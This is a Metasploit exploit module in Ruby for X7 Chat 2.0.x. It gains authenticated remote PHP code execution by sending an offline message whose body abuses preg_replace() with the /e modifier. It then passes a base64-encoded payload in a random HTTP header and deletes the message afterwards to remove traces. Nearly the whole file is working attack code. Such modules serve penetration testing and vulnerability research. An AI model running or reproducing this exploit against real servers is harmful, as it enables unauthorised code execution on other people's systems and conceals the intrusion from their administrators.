X7 Chat 2.0.5 lib/message.php preg_replace() PHP Code Execution

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::PhpEXE

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'X7 Chat 2.0.5 lib/message.php preg_replace() PHP Code Execution',
      'Description'    => %q{
        This module exploits a post-auth vulnerability found in X7 Chat versions
        2.0.0  up to 2.0.5.1. The vulnerable code exists on lib/message.php, which
        uses preg_replace() function with the /e modifier. This allows a remote
        authenticated attacker to execute arbitrary PHP code in the remote machine.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Fernando Munoz <fernando[at]null-life.com>', # discovery & module development
          'Juan Escobar <eng.jescobar[at]gmail.com>', # module development @itsecurityco
        ],
      'References'     =>
        [
          # Using this URL because isn't nothing else atm
          ['URL', 'https://github.com/rapid7/metasploit-framework/pull/4076']
        ],
      'Platform'       => 'php',
      'Arch'           => ARCH_PHP,
      'Targets'        => [['Generic (PHP Payload)', {}]],
      'DisclosureDate' => 'Oct 27 2014',
      'DefaultTarget'  => 0))

      register_options(
      [
        OptString.new('USERNAME', [ true, 'Username to authenticate as', '']),
        OptString.new('PASSWORD', [ true, 'Pasword to authenticate as', '']),
        OptString.new('TARGETURI', [ true, 'Base x7 Chat directory path', '/x7chat2']),
      ], self.class)
  end

  def check
    res = exec_php('phpinfo(); die();', true)

    if res && res.body =~ /This program makes use of the Zend/
      return Exploit::CheckCode::Vulnerable
    else
      return Exploit::CheckCode::Unknown
    end
  end

  def exec_php(php_code, is_check = false)

    # remove comments, line breaks and spaces of php_code
    payload_clean = php_code.gsub(/(\s+)|(#.*)/, '')

    # clean b64 payload (we can not use quotes or apostrophes and b64 string must not contain equals)
    while Rex::Text.encode_base64(payload_clean) =~ /=/
      payload_clean = "#{ payload_clean } "
    end
    payload_b64 = Rex::Text.encode_base64(payload_clean)

    cookie_x7c2u = "X7C2U=#{ datastore['USERNAME'] }"
    cookie_x7c2p = "X7C2P=#{ Rex::Text.md5(datastore['PASSWORD']) }"
    rand_text = Rex::Text.rand_text_alpha_upper(5, 8)

    print_status("Trying for version 2.0.2 up to 2.0.5.1")
    print_status("Sending offline message (#{ rand_text }) to #{ datastore['USERNAME'] }...")
    res = send_request_cgi({
      'method'   => 'GET',
      'uri'      => normalize_uri(target_uri.path, 'index.php'),
      'headers'  => {
        'Cookie' => "#{ cookie_x7c2u }; #{ cookie_x7c2p };",
      },
      'vars_get' => {
        # value compatible with 2.0.2 up to 2.0.5.1
        'act'     => 'user_cp',
        'cp_page' => 'msgcenter',
        'to'      => datastore['USERNAME'],
        'subject' => rand_text,
        'body'    => "#{ rand_text }www.{${eval(base64_decode($_SERVER[HTTP_#{ rand_text }]))}}.c#{ rand_text }",
      }
    })

    unless res && res.code == 200
      print_error("Sending the message (#{ rand_text }) has failed")
      return false
    end

    if res.body =~ /([0-9]*)">#{ rand_text }/
      message_id = Regexp.last_match[1]
      user_panel = 'user_cp'
    else
      print_error("Could not find message (#{ rand_text }) in the message list")

      print_status("Retrying for version 2.0.0 up to 2.0.1 a1")
      print_status("Sending offline message (#{ rand_text }) to #{ datastore['USERNAME'] }...")
      res = send_request_cgi({
        'method'   => 'GET',
        'uri'      => normalize_uri(target_uri.path, 'index.php'),
        'headers'  => {
          'Cookie' => "#{ cookie_x7c2u }; #{ cookie_x7c2p };",
        },
        'vars_get' => {
          # value compatible with 2.0.0 up to 2.0.1 a1
          'act'     => 'usercp',
          'cp_page' => 'msgcenter',
          'to'      => datastore['USERNAME'],
          'subject' => rand_text,
          'body'    => "#{ rand_text }www.{${eval(base64_decode($_SERVER[HTTP_#{ rand_text }]))}}.c#{ rand_text }",
        }
      })

      unless res && res.code == 200
        print_error("Sending the message (#{ rand_text }) has failed")
        return false
      end

      if res.body =~ /([0-9]*)">#{ rand_text }/
        message_id = Regexp.last_match[1]
        user_panel = 'usercp'
      else
        print_error("Could not find message (#{ rand_text }) in the message list")
        return false
      end
    end

    print_status("Accessing message (#{ rand_text })")
    print_status("Sending payload in HTTP header '#{ rand_text }'")

    if is_check
      timeout = 20
    else
      timeout = 3
    end

    res = send_request_cgi({
      'method'    => 'GET',
      'uri'       => normalize_uri(target_uri.path, 'index.php'),
      'headers'   => {
        'Cookie'  => "#{ cookie_x7c2u }; #{ cookie_x7c2p };",
        rand_text => payload_b64,
      },
      'vars_get'  => {
        'act'     => user_panel,
        'cp_page' => 'msgcenter',
        'read'    => message_id,
      }
    }, timeout)

    res_payload = res

    print_status("Deleting message (#{ rand_text })")
    res = send_request_cgi({
      'method'   => 'GET',
      'uri'      => normalize_uri(target_uri.path, 'index.php'),
      'headers'  => {
        'Cookie' => "#{ cookie_x7c2u }; #{ cookie_x7c2p };",
      },
      'vars_get' => {
        'act'     => user_panel,
        'cp_page' => 'msgcenter',
        'delete'  => message_id,
      }
    })

    if res && res.body =~ /The message has been deleted/
      print_good("Message (#{ rand_text }) removed")
    else
      print_error("Removing message (#{ rand_text }) has failed")
      return false
    end

    # if check return the response
    if is_check
      return res_payload
    else
      return true
    end
  end

  def exploit
    unless exec_php(payload.encoded)
      fail_with(Failure::Unknown, "#{peer} - Exploit failed, aborting.")
    end
  end
end